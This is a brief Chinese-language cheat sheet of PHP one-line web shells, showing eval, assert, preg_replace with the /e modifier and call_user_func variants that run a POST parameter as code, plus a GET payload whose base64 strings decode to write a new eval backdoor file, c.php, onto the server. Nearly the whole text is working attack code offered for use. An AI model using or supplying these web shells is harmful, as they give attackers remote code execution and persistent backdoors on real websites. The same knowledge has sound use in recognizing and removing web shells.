1.eval函数
<?php @eval($_POST['-7']); ?>
将post内容以php代码运行
2.assert函数
<?php @assert ($_POST['-7']); ?>
assert函数将接受的字符串当做代码执行 。
3.preg_replace():
<?php @preg_replace("/abcd/e",$_POST['-7'],"abcdefg"); ?>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。
4.call_user_func():
<?php @call_user_func('eval',$_POST['-7']); ?>
函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数。call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数。
5. 用GET函数就构成了木马;利用文件操作的方法构建payload:
白盒:<?php @$_GET[a]($_GET[b]);?>
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
相当于
?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};